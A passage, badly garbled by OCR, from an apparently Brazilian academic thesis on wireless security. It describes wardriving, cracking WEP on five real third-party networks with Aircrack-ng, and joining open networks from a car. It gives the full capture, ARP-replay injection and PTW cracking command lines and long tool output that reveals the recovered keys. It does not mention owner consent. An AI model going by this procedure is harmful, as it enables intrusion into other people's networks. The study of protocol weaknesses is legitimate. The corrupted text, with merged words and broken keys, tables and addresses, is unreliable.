vulnerabilidades, em torno dos protocolos WEP e WASK, relacionadas a reutilizacado dos
vetores de inicializacdo por parte destes protacdltilizando ferramentas especificas, pode-
se, em virtude destas repeticOes, quebrar a seguidws protocolos, revelando a chave
secreta utilizada no processo de criptografia. D&sima, apresentam-se, neste capitulo, os
resultados da tentativa de quebra de protocolaigtografia, utilizando avardriving, a fim
de ratificar as deficiéncias dos protocolos em gravma seguranca adequadasdware
utilizado para tal é o Aircrack-ng (bem como asderentas Airodump-ng e Aireplay-ng),
como fora definido na metodologia.

ApoOs realizada a varredura e o0 mapeamento, apagsentanteriormente, 0s
resultados foram analisados cuidadosamente, deééinassim, as redes-alvo deste processo
de quebra de seguranca. As redes foram escolhsttasegicamente, a fim de obter uma boa
qualidade de sinal e, ndo menos importante, um diveseguranca pessoal adequado, uma

vez que este processo é realizado utilizamatalriving.

Embora a suite Aircrack-ng possua um extenso sigoegdaptadores de rede sem
fio, esta apresenta diversas restricoes, necedsitfue atualizagdes e reconfiguragdes sejam
realizadas no sistema operacional. Nos testesmpnalies, detectou-se que, mesmo realizando
algumas atualizagfes, o cartdo de rede definidoatadologia ndo opera de maneira correta
com a suite Aircrack-ng, devido a diversas limieaz@m torno ddirmware e chipset
utilizados neste adaptador de rede. Desta formsmnegbo obter uma qualidade de sinal
adequada e o perfeito funcionamentosditware, utilizou-se o adaptador de rede interno do
laptop. Ochipset utilizado pelo adaptador de rede é o Intel Cent2200bg, o qual opera nos
padrées 802.11b e 802.11g e suporta criptografi®@ \WE=128 bits. Este adaptador conta com
uma antena de baixa poténcia, situada na tampmaigem ddaptop, que pode obter uma
boa qualidade de sinal, mesmo quando situado mweidntde um veiculo. A distribuicao
Linux, utilizada no processo de quebra de seguraéca BackTrack 2 (disponivel em
http://www.remote-exploit.org/backtrack.html), o ajuagrega todas as atualizacbes e

reconfiguracdes pertinentes ao adaptador utilizado.

E importante salientar que, devido as limitagdessgntadas pelos adaptadores de
rede sem fio, existem diversos modos de operacdedeamentas utilizadas para captura,

injecdo e quebra. Tutoriais relacionados a utiivaga suite Aircrack-ng, de acordo com o0s
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adaptadores de rede suportados, podem ser enamitead Aircrack-ng (2007) e Herring
(2007). Em virtude de algumas limitagbes enconsada utilizacdo dachipset citado
anteriormente, 0 modo de operacao utilizado foeadds nos tutoriais apresentados por David

(2007) e Herring (2007), o qual apresentou perfemcionamento.

O processo de tentativa de quebra de protocolo, dmmo a tentativa de conexao
com redes sem seguranca, foi realizado entre es8ckal0 de novembro de 2007, seguindo a

metodologia definida.

Primeiramente, realizou-se a tentativa de quebrproimcolo WEP. Para isso, duas
informacdes iniciais foram coletadas: o enderecaOMia rede (ponto de acesso) e o canal de
operacdo de tal. De posse destas informacgOes, forahzadas as configuragdes iniciais,
pertinentes ao modo de operacéo utilizado, as gdaisletalhadas em David (2007). Sendo
assim, para cada rede-alvo, foram utilizadas aanfentas para captura de pacotes, injecao

de trafego e quebra de protocolo, seguindo 0s paEsTritos a sequir:

» Captura de pacotes: a captura dos pacotes fozadaliatravés da ferramenta
Airodump-ng, salvando estes (em sua forma completa) um determinado
arquivo, o qual é utilizado posteriormente pelo chick-ng. Para isto, foi
executada a seguinte linha de comandootiump-ng --channel <Canal> --bssid

<MAC_AP> --write <Arquivo> rtap0Q”, onde:
= <Canal>: canal utilizado pela rede;
»<MAC_AP>: endereco MAC da rede (ponto de acesso);
= <Arquivo>: nome do arquivo onde 0s pacotes samsalv

= rtap0: interface de rede utilizada para a escutaafego (maiores detalhes

podem ser encontrados em David (2007)).

* Injecdo de pacotes: a fim de acelerar o processautera de pacotes, utilizou-se
a ferramenta Aireplay-ng para efetuar injecoes deoies ARP na rede,
concomitante a execuc¢do do Airodump-ng. Para &sseguinte linha de comando
foi executada: direplay-ng --arpreplay --bsssid <MAC_AP> -h <MAC_HOST> -i
rtap0 ethO”, onde:

= arpreplay: identifica 0 método de ataque adotad®Rrequest replay);

»<MAC_AP>: endereco MAC da rede (ponto de acesso);
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»<MAC_HOST>: endereco MAC do requisitante de pacofdsP (o
endereco MAC do adaptador utilizado para a injelgipacotes);

»rtap0: identifica que a escuta do trafego deve reafizada por esta

interface;

= eth0: identifica que a injecdo de pacotes ARP devaealizada por esta
interface.

* Quebra de protocolo: uma vez capturada a quantidafleiente de pacotes,
utilizou-se a ferramenta Aircrack-ng para efetuardescoberta das chaves
utilizadas pelo WEP. A ferramenta foi executada s$eterromper a captura e
injecdo de pacotes, sendo esta uma das grandemgeastdo Aircrack-ng (a
possibilidade de analisar o contetdo dos pacotemtiua captura dos mesmaos).
Para isso, a seguinte linha de comando foi exeautaircrack-ng -z --bssid
<MAC_AP> <Arquivo>.cap’, onde:

= -z: identifica a utilizacdo do ataque PTW;
»<MAC_AP>: endereco MAC da rede (ponto de acesso);
= <Arquivo>: nome do arquivo onde os pacotes forarosa

Sendo assim, no Quadro 4.2, é apresentado o redomaesultados obtidos na
tentativa de quebra de protocolo de criptografisaNdo garantir a seguranca das redes que
foram alvo neste processo de quebra, bem como ndicar suas localizagdes, algumas
informagdes foram omitidas, como, por exemplo, dDS& a coordenada GPS referente a
cada rede. Os quatro ultimos digitos que compdendereco MAC das redes, também foram

omitidos, sendo representados pela letra X.

Quadro 4.2 — Resumo dos resultados de quebra do WEP

Endereco MAC | Velocidade| Canal Chave WEP
Rede 1 | 00:19:5B:4C:XX:XX 54 Mbps 6 AA:BB:CC:DD:EE
Rede 2 | 00:05:9E:86:XX:XX 54 Mbps 9 45:25:9C:84:8B:10:23:56.:84:5F:9A:8F
Rede 3| 00:15:E9:6B:XX:XX 54 Mbps 1 7F:2B:5A:6D:12:52:FF:28B:45:25:33.:69
Rede 4 | 00:19:5B:02:XX:XX 54 Mbps 1 3D:F4:58:A1:2F
Rede 5| 00:05:9E:86:XX:XX 54 Mbps 11 85:F7:9C:AA:45
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Os resultados completos, obtidos pelas ferramenil&sadas no processo de quebra
do protocolo WEP, sdo demonstrados nos Quadros443.4.5, 4.6 e 4.7, identificando,
respectivamente, as redes 1, 2, 3, 4 e 5. Podbssevar um grande numero de informacdes
reportadas pelas ferramentas, indicando, por exerapjuantidade de pacotes capturados, a
quantidade de pacotes ARP injetados, a quantidadestdbres de inicializagdo obtidos e o
tempo decorrido no processo de quebra do WEP.

Quadro 4.3 — Resultado completo (Rede 1).

Airodump-ng
CH 6 ][ Elapsed: 11 mins ][ 2007-11-08

BSSID PWR RXQ Beacons #Data/s 8H MB ENC CIPHER AUTH ESSID
00:19:5B:4C:XX:XX 0100 6439 262750 316 54. WEP WEP

BSSID STATION PWR Lost Packets Probes
00:19:5B:4C:XX: XX 00:40:F4:FA:XX:XX 0 4 141656

Aireplay-ng

Saving ARP requests in replay_arp-1108-161549.cap
You should also start airodump-ng to capture replie
Read 200553 packets (got 127817 ARP requests)p682%7 packets...(312 pps)

Aircrack-ng

Aircrack-ng 0.9.1

[00:14] Tested 0/140000 keys (got 126900 1Vs)

KB depth byte(vote)

0 0/ 1 AA(657)9C(557) 34(555) FO( p84(543) 0B( 541) 24( 538) 30( 538) DB( 538) 8B6) 31( 534) 5E( 533) 77( 533)
1 0/ 1 BB(670)09(555) 63(554) A8( 8B ( 547) 5E(546) E6( 546) 8F( 545) 2B( 541) B3(Q) 41( 540) D3( 536) 97( 535)
2 0/ 1 CC(719)8A(561)A9(560)91(5BHU(551) 3B(550) 8E(546) 67(545) D9( 542) MHaQ) F9( 535) 07(534) 2C(534)
3 0/ 1 DD(673)33(572)6F(550) 7F( p8E( 549) D3( 546) 4F( 542) F5(539) 1F( 538) 837) 09( 533) F3( 531) 20( 529)
4 0/ 1 EE(665)B5(550)55(546) 02( p&C( 540) B3( 540) EO( 538) 16( 537) C4( 536) B3R) 9D( 532) 1F( 530) 9B( 530)

KEY FOUND! [ AA:BB:CC:DDE]
Decrypted correctly: 100%

Tempo aproximado do processo de quebra (incluindfiguracdes iniciais, captura e
injecdo de pacotes, quebra do protocdl8)minutos.
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Quadro 4.4 — Resultado completo (Rede 2).

Airodump-ng

CH 9 ][ Elapsed: 9 mins ][ 2007-11-08

BSSID PWR RXQ Beacons #Datas @H MB ENC CIPHER AUTH ESSID
00:05:9E:86:XX:XX 0 71 5047 2075276616 54. WEP WEP
BSSID STATION WHRR Lost Packets Probes

00:05:9E:86:XX:XX 00:12:0E:84:XX:XX 0 6 2831

Aireplay-ng

Saving ARP requests in replay_arp-1108-172815.cap
You should also start airodump-ng to capture replie
Read 215714 packets (got 206818 ARP requests)168801 packets...(207 pps)

Aircrack-ng

Aircrack-ng 0.9.1

[00:00:008Sted 0/1400000 keys (got 202942 1Vs)

KB depth byte(vote)

0/ 1 45(1116) 00( 872) BO(871) FD( BBEB( 857) 5F( 856) 90( 855) F5( 855) 7E( 852) 851)) 1F( 846) CA( 844) D3( 844)
1 25(1080) 74( 867) 56( 861) 37()8HE( 850) CD( 850) 9A( 848) 79( 847) 11( 846) 846) 73( 846) D7( 845) 2E( 843)
1 9C(1068) 22( 871) 00( 855) CE()3a&( 849) 6B( 844) 08( 838) FF( 838) 8A( 837) 826) 3A( 835) 05( 834) 2E( 834)
1 84(1046) BC(868) AC(859) 5E( 8B7(853) D2( 853) 79(847) E8(847) EC(847) 8EH) CE(845) 29(843) 3C(843)
1 8B(1069) D5( 882) 12( 878) 8E(BE3( 851) 76( 850) F6( 848) 03( 842) CD( 841) B3() 60( 840) 87( 840) 92( 840)

0/ 1 10(1089) 79( 868) 7F( 853) 7B()BAQ( 850) AE( 849) 1E( 846) 89( 846) 2C( 845) 816) 6B( 842) B3( 842) 5A( 841)
1 23(1051) 1C(868) 40( 865) C8()82&X( 846) 77(846) 67( 845) 2F(842) 4D( 842) BaR) 1A( 841) 59( 840) 9C( 840)
1 56(1034) EE(876) 5D( 857) A3( BEE( 854) FF( 854) 75( 849) FC( 847) B1( 842) 82() C3( 840) 17( 837) OE( 833)
1 87(1044) 06( 871) EC(867) 6A( BBB( 847) C5( 847) 87( 845) 99( 845) 28( 842) &&2) 0D( 838) 35( 837) 6B( 837)
1 84(1009) FC( 878) 3B( 874) 24(B8D( 859) C7(858) 1F( 856) 16( 854) 7A( 853) BAB) A4( 848) BB( 844) 89( 841)

0/ 1 5F(1029) 7F( 873) 4E( 869) 96()8BH 853) FC( 853) F4( 848) 4C( 847) 9C( 847) 28%) 43( 842) F6( 841) CE( 838)

0/ 1 9A(1001) B9( 866) 54( 865) EO( B6B( 854) A6( 854) 67( 848) 9F( 848) AD( 843) B80) BC( 839) 51( 838) 2B( 836)

0/ 1 8F(1026) 58( 866) 4E( 856) C5()8BB( 850) 4C(847) 90( 847) 3A( 846) 5D( 846) 84¢) 57(844) C3( 844) FE( 843)

RN
SEBowom~wounrwnroO
=
S

KEY FOUND! [ 45:25:9C:84:8B:10:23:5@:84:5F:9A:8F ]
Decrypted correctly: 100%

Tempo aproximado do processo de quebra (incluindfiguracdes iniciais, captura e
injecdo de pacotes, quebra do protocdld)minutos.

Quadro 4.5 — Resultado completo (Rede 3).

Airodump-ng
CH 1 ][ Elapsed: 3 mins ][ 2007-11-09

BSSID PWR RXQ Beacons #Data,EH MB ENC CIPHER AUTH ESSID
00:15:E9:6B:XX:XX 0 67 1792 60597 31% 54. WEP WEP

BSSID STATION PWR Lost Packets Probes
00:15:E9:6B:XX:XX 00:17:9A:F8:XX:XX 0 78428740
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Aireplay-ng

Saving ARP requests in replay_arp-1109-215331.cap
You should also start airodump-ng to capture replie
Read 83590 packets (got 52632 ARP requests), 8éi25packets...(273 pps)

Aircrack-ng

Aircrack-ng 0.9.1
[00:00:01]sted 0/1400000 keys (got 51284 1Vs)

KB depth byte(vote)

o
4
RPRrRRRPRPRRRRR

ERTIRIN
SEhEBoo~vwounrwNrO
=)
1S4

KEY FOUND! [ 7F:2B:5A:6D:12:52:FF:32B35:25:33:69 ]
Decrypted correctly: 100%

Tempo aproximado do processo de quebra (incluindiguragdes iniciais, captura e

injecdo de pacotes, quebra do protocdl®)minutos.

0/ 1 7F(280) 88(249) 74( 235) 0C()283( 232) 48( 230) OD( 228) 5D( 228) D7( 227) @36) 69( 224) AS( 224) BF( 224)
2B( 267) 7A( 238) 19( 235) 12( P94( 234) CF( 232) FD( 232) 08( 231) 28( 231) 2A() 41( 228) EB( 227) D7( 226)
5A( 285) C8( 252) DO( 235) 6C( p93( 232) 2D( 231) 22( 230) 0B( 228) C4( 228) R26) 72( 226) 0A( 225) 59( 225)
6D( 250) 2E( 240) 5D( 236) 87( RBA\( 235) 2C( 234) 85( 229) 45( 228) E5( 226) 225) 43( 225) 4D( 225) 19( 224)
12( 254) 52( 238) 2F( 232) 58(2FB( 229) 1F( 228) 49( 228) C6( 228) 69( 227) 226) 36( 226) CI( 226) DI( 226)
52( 258) OF( 241) 43( 238) 17()23%( 229) 85( 229) 26( 228) 57( 226) 71( 226) BB6) EB( 226) 21( 225) EE( 224)
FF( 262) 79( 241) DE( 241) 06( 238( 235) F2( 228) 23( 227) 62( 227) 2F( 226) 32%) 3D( 225) 91( 225) 4F( 223)
32( 284) 6C( 244) 93( 241) 9D(RBE( 232) C1( 230) E7( 228) DC( 227) 0C( 226) 886) 1B( 224) OF( 223) 38( 223)
AB( 241) 7D( 239) F9( 235) AL( 22eL( 228) FF( 227) 69( 226) 9A( 225) 5C( 224) B24) 8C( 224) 96( 224) 1F( 222)
45( 257) CF( 253) FD( 240) 27(23B( 237) 65( 234) B4( 233) 23( 230) 8F( 229) 288) 85( 228) 20( 227) FO( 227)
0/ 1 25(265) 88( 243) 19( 240) FA()288( 235) A7( 235) 26( 234) 40( 229) 80( 228) @EB) 4F( 227) 11( 226) 23( 225)
0/ 1 33(251) 59( 243) AE( 242) 4D( p38( 231) C2( 231) 4C( 230) 23( 227) 24( 227) BBY) 50( 224) 6A( 224) 20( 222)
0/ 1 69(252) 68( 236) F7( 235) 64()238( 231) A3( 231) 3C( 229) 47( 229) D8( 226) B26) EA( 226) 7E( 225) C8( 224)

Quadro 4.6 — Resultado completo (Rede 4).

Airodump-ng
CH 1 ][ Elapsed: 8 mins ][ 2007-11-09

BSSID PWR RXQ Beacons #Data, 18 MB ENC CIPHER AUTH ESSID
00:19:5B:02:XX:XX 0 69 4610 36513 66B 54. WEP WEP

BSSID STATION PWR Lost Packets Probes
00:19:5B:02: XX:XX 00:1A:70:73:XX:XX 0 1 1341

Aireplay-ng

Saving ARP requests in replay_arp-1109-220823.cap
You should also start airodump-ng to capture replie
Read 42389 packets (got 36003 ARP requests), 8806lpackets...(41 pps)
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Aircrack-ng

Aircrack-ng 0.9.1

[00:00:16] Tex 72/140000 keys (got 34280 1Vs)

KB depth byte(vote)

0 0/ 1 3D(196)85(163)98(162)52()143(160) 1F( 159) 1C(158) 1E( 154) C6( 154) PBB) 61( 152) 7D( 152) BF( 152)
1 2/ 4 FE(166)31(161)99(159) E2()1B8( 158) EO( 157) 44( 156) 70( 156) EC( 156) D54) 69( 153) D6( 153) 9F( 152)
2 0/ 2 58(171) E6(164)29(159) 1B()13%( 157) 57( 157) A3( 156) E8( 156) 5C( 155) BBE) 99( 154) DF( 154) 4C( 153)
3 0/ 1 A1(199)8E(166)D7(166) 6D( 185( 160) 56( 159) 9C( 159) 2C( 158) 4C( 157) TBY) DI( 157) 45( 156) C9( 155)
4 0/ 9 2F(164)15(160) 37(160) F7()1A2( 159) B5( 158) 55( 157) B5( 156) F1( 156) 1BE) 91( 154) AD( 154) E2( 154)

KEY FOUND! [ 3D:F4:58:A1F7
Decrypted correctly: 100%

Tempo aproximado do processo de quebra (incluindiguragdes iniciais, captura e

injecdo de pacotes, quebra do protocdl8)minutos.

Quadro 4.7 — Resultado completo (Rede 5).
Airodump-ng

CH 11 ][ Elapsed: 6 mins ][ 2007-11-10

BSSID PWR RXQ Beacons #Data, 3 MB ENC CIPHER AUTH ESSID
00:05:9E:86:XX:XX 0100 3460 72784 342 54. WEP WEP OPN

BSSID STATION PWR Lost Packets Probes
00:05:9E:86:XX:XX 00:1B:11:66:XX:XX 0O 0 173 desk

Aireplay-ng

Saving ARP requests in replay_arp-1110-213941.cap
You should also start airodump-ng to capture replie
Read 79149 packets (got 72407 ARP requests), 88023ackets...(121 pps)

Aircrack-ng
Aircrack-ng 0.9.1

[00:00:15] Texs 0/140000 keys (got 71238 IVs)

KB depth byte(vote)

0/ 1 85(406) 8B( 326) D5(319) DO( BEB( 315) 6C( 313) E5(311) E7(311) 04( 310) 31Q) 74( 310) 35( 309) 50( 309)
0/ 1 F7(358)35(328) BE(328) EO(BEE( 323) 64( 317) AD( 316) 1B( 315) 95( 313) B8(L) E3( 311) F3( 311) 9F( 310)
0/ 1 9C(389) F6(330) BO( 313) CD( BDI( 309) 58( 307) D5( 305) 00( 304) C3( 304) 86B) 63( 302) 86( 302) 3C( 301)
0/ 1 AA(366) 8F(333) FF(327) BB( 38B( 320) 7B( 316) A2( 315) EA( 314) 6A( 313) 38X1) 6D( 310) 56( 309) 73( 308)
0/ 1 45(392) 04( 337) 79( 334) 3E()3R6( 322) 58( 319) 44( 313) 8C( 313) DE( 313) CM1() 2E( 310) 0D( 309) 9B( 309)

A WNEO

KEY FOUND! [ 85:F7:9C:AA
Decrypted correctly: 100%

Tempo aproximado do processo de quebra (incluindiguragdes iniciais, captura e
injecdo de pacotes, quebra do protocdl@minutos.
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O processo de tentativa de quebra de protocolorigeografia foi realizado com
sucesso, permitindo a descoberta das chaves WEBRBdds as redes “atacadas”. As
ferramentas dbardware e software apresentaram um funcionamento estavel e de qdalida

proporcionando uma interface limpa e praticidadatizacao destas.

Através dos resultados, pode-se perceber a efiagiégtingida pelas ferramentas de
software. Tanto o Airodump-ng, quanto o Aireplay-ng, aprdaeam uma funcionalidade
excelente, criando um ambiente propicio para qoaptura dos pacotes fosse realizada em
um tempo reduzido, acelerando assim a possibilidbEledlescoberta da chave WEP. O
Aircrack-ng, por sua vez, mostrou-se extremamefitazna quebra do WEP, revelando a
chave utilizada pelo protocolo rapidamente, sende, @ maior tempo necessario para a
quebra do protocolo, foi de apenas 16 segundosalguns casos, no momento em que a

ferramenta foi executada, a chave foi reveladaimaheamente.

Desta forma, denota-se claramente a deficiéncigrdtmcolo WEP em prover um
nivel de seguranca adequado as redes sem fio, emgue, em questdo de minutos, foi
possivel efetuar a quebra da seguranca oferecidaaporevelando as chaves secretas

utilizadas na autenticacao e criptografia das redeguestao.

As redes sem fio necessitam de uma atencéo espeeiatio se trata da questéo de
seguranca, devendo-se analisar e conhecer todogtoslos de seguranca disponiveis para
este tipo de rede, bem como suas fraquezas e ahll@ades, a fim de garantir um nivel de
seguranca adequado aos usuarios, protegendo cadciafios recursos e informacdes

pertinentes as redes.

Concluindo a deteccdo de vulnerabilidades em rémzss sem fio, com base no
mapeamento realizado anteriormente, foram defiredasedes-alvo do processo de tentativa
de conexdo, a fim de ratificar os perigos enconsada utilizacdo das configuracdes de
fabrica, as quais, por padrao, ndo definem nenheganismo de seguranca na configuracao

da rede.

A conex@o com as redes-alvo definidas foi realizégléorma simples, utilizando as
ferramentas déardware definidas na metodologia. Para realizar as corgxd#izou-se a
ferramenta padrdo do Windows, o WABi(eless Zero Configuration), que fornece a lista de

redes ao alcance do adaptador e realiza a coner@a cede selecionada.

Vale ressaltar que, o fato de uma rede nédo apegsentiso de criptografia, ndo

remete a afirmacdo de que a rede ndo possua ndipumie seguranca. Outras formas de
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seguranca como, por exemplo, filtragem por endek8€, podem se fazer presentes, nédo
permitindo a simples tentativa de conexao.

Deste modo, utilizando wardriving, efetuou-se a conexdo com as redes definidas,
verificando e registrando as informacdes refereatesnexdo estabelecida. No Quadro 4.8,
sdo demonstrados os resultados obtidos, repor@ahdonfiguracdes recebidas pelos pontos
de acesso. O SSID e as coordenadas GPS refersnteses conectadas foram omitidos,
visando garantir o sigilo destas, bem como naaardsuas localiza¢cdes. Os quatro ultimos
digitos que compdem o endereco MAC de cada reaebéa foram omitidos, sendo

representados pela letra X.

Quadro 4.8 — Resultado da tentativa de conexao.

Rede 1 Rede 2 Rede 3 Rede 4 Rede 5

Endereco | 00:17:9A:1F: | 00:17:9A:FD: 00:11:50:53: 00:19:5B:4C: 00:4F.62:13:

MAC XX: XX XX: XX XX: XX XX: XX XX: XX
Canal 6 6 6 6 11
Velocidade
11 Mbps 11 Mbps 11 Mbps 11 Mbps 11 Mbps
da conexao
IP 10.1.1.4 10.1.1.192 10.1.1.4 192.168.0.104 1920168.
Mascara de
255.0.0.0 255.255.255.0 255.0.0.0 255.255.256.0 .2B55255.0
sub-rede
Gateway 10.1.1.1 10.1.1.2 10.1.1.1 192.168.0.1 192.168.0.1
DHCP
10.1.1.1 10.1.1.2 10.1.1.1 192.168.0.1 192.168.0.1
Server

DNS1 200.143.94.3 189.7.136.1% 200.143.943 192.168.0.1 192.168.0.1

DNS2 189.7.136.15 10.1.1.2 189.7.136.1

OT
1
1

Apos realizadas as devidas conexdes, foi efetuadsimples teste de conexao com
a internet, a fim de verificar se a conexao foalkslecida corretamente. Em todas as conexdes
efetuadas, de dentro do veiculo, foi possivel dditesso a internet, deixando clara a auséncia

de seguranca por parte dessas redes, expondowsoee as informagdes trafegadas. A
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partir dos resultados obtidos, percebe-se clarareentilizacdo das configuracdes padrbes de
fabrica, que seguem linhas de configuracdo semtelhian

Muitas pessoas configuram a sua propria rede daragstu até empresarial), sem
conhecer a tecnologia em si, seus componentessegeatos vulneraveis, criando assim uma
rede totalmente desprotegida e suscetivel a atatjmegossivel atacante pode, sem muito
esforgo, utilizar dos recursos da rede ou, em u&o adanosa, roubar informacoes

confidenciais.

Sendo assim, encerra-se a execucaowdodriving, concluindo a metodologia

definida e ratificando os objetivos propostos néstiealho.



CONCLUSAO

As redes sem fio chegaram para ficar, ndo ha coegarntal fato. Todas as
vantagens em se utilizar uma rede sem fio, agregadana facilidade de uso antes néo vista,
tornam o uso de redesi-fi extremamente crescente e promissor. Porém, vasaltar a
importancia da aplicagdo de seguranca quando iafgies sdo trocadas. Nenhuma rede é
totalmente segura, porém a aplicacdo de mecanidenssguranca € imprescindivel no que se

refere as transmissoes de dados.

Pode-se observar que a aplicacdo de métodos desegujue realmente asseguram
uma rede nao é tarefa facil, porém tampouco difisl diferentes tecnologias de seguranca
disponiveis para redesi-fi possuem caracteristicas préprias, que devem sdisadas e
estudadas antes de qualquer implementacéo efetivalos graves problemas enfrentados em
redeswi-fi é a falta de conhecimento acerca das tecnologiapgrte dos implementadores
(sejam estes administradores de rede ou usuanais)fi até mesmo em virtude de a prépria

tecnologia oferecer essa facilidade de instalag#dizacéo.

Parece evidente o quéo trabalhoso é configurapmheaf segura uma rede sem fio,
pois a configuracdo basica ndo contém nenhum etemmure, de forma efetiva, torne
minimamente segura qualquer redefi. Para ter uma rede sem fio aceitavel (sob a daca
seguranca), € necessario configurar recursos adisiocomo criptografia e autenticacéo
forte, elementos esses que demandam tempo e wabala configuracdo e manutencao dos

equipamentos envolvidos.

No que diz respeito aos protocolos empregadoslizagéio de um destes, por si S0,
ja € um ganho em termos de seguranca. Nao se pode dma rede sem protecdo em virtude
de o protocolo empregado apresentar vulnerabilglddena rede sem protecao alguma né&o

exige conhecimento muito técnico para ser atac@JaVEP traz uma seguranca fraca,
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apresentando diversas falhas em seu funcionamkl@emo assim, € uma opcgdo aceitavel
para uma rede que necessite o0 minimo de segur@ogao observado nos resultados da
execucao davardriving, 0 WEP pode facilmente ser quebrado, deixandost@pms recursos

e as informacdes das redes que, techicamentengemdegidas.

Ja o padrao WPA implementa funcionalidades adaisprcobrindo brechas de seu
antecessor, o que o torna um padrdo de segurafgygado. A limitacdo no uso deste
protocolo refere-se a implementacéo de tecnolagasgadas, como o 801.1x, que pode nao
ser viavel para uma implementacédo especifica, éuresmo por exigir um conhecimento
técnico incrementado. Como nenhuma rede com WPAercbntrada, ndo se realizou a
tentativa de quebra deste protocolo (na versdo gtieza chaves previamente
compartilhadas), ficando esta como proposta inipak trabalhos futuros. A respeito do
padrdo WPA2, observa-se uma estrutura de seguraoiga mais robusta, incrementando
diversas tecnologias que prometem manter a segudncgede, 0 que o torna a opcao ideal
para uma redwi-fi, porém exige um incremento no que diz respeitod&positivos de rede

(hardware).

A execucdo davardriving, realizada neste trabalho, obteve uma grande igadet
de informagdes pertinentes as redes localizadasinerambiente real. Os resultados podem
prover um grande auxilio na analise de ambientds possa haver sobreposi¢cdes de canais
ou, ainda, auxiliar no estudo e analise do compwtdo das redewi-fi como um todo,
permitindo agregar conhecimento e solucbes aoslgmals enfrentados com a utilizacéo
deste tipo de rede. Deve-se levar em conta quanmedistante do ponto de acesso, € possivel
captar os sinais transmitidos pela rede, tornandds rfacil um possivel ataque a rede.
Profissionais devem conhecer e explorar as vulilelatbes apresentadas em torno da
seguranca de redes sem fio, aprimorando, assisyaasimplementacdes e configuracdes de
rede, provendo um ambiente com a maior segurarssived. E importante sempre considerar
a relacdo entre seguranca e conveniéncia, vistosigtemas de seguranca robustos podem
nao possibilitar praticidade e transparéncia adnstinal, tornando dificil (ou complicada) a

utilizacao deste tipo de rede.

Por fim, nota-se que a atividade dardriving ndo €, em seu proposito inicial,
prejudicial ou agressiva as redesfi, uma vez que deve ser apenas utilizada com ptopdsi
estatisticos, a fim de demonstrar as vulnerabiidaéncontradas nas redes e sugerir

incrementos de seguranca. Porém, considerando-atvakades reportadas,wardriving é
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utilizado de forma errada, promovendo ataques astedlem como o roubo de recursos e

servicos e o roubo de dados, gerando uma ileg&idagbratica dessa atividade.

Como proposta para trabalhos futuros, além dattemtde quebra do protocolo
WPA-PSK, indica-se o estudo aprofundado acercaatogolo WPA2, bem como apresentar
uma metodologia de implementagéo deste protocoloedss locais sem fio, avaliando o seu
funcionamento e a seguranca oferecida. Além dmswa proposta futura € a realizacdo do
wardriving no mesmo ambiente deste trabalho, a fim de anaésa um dado periodo de
tempo, o comportamento das redes da regido, redbzas analises relativas e reportando as

modificagdes encontradas.
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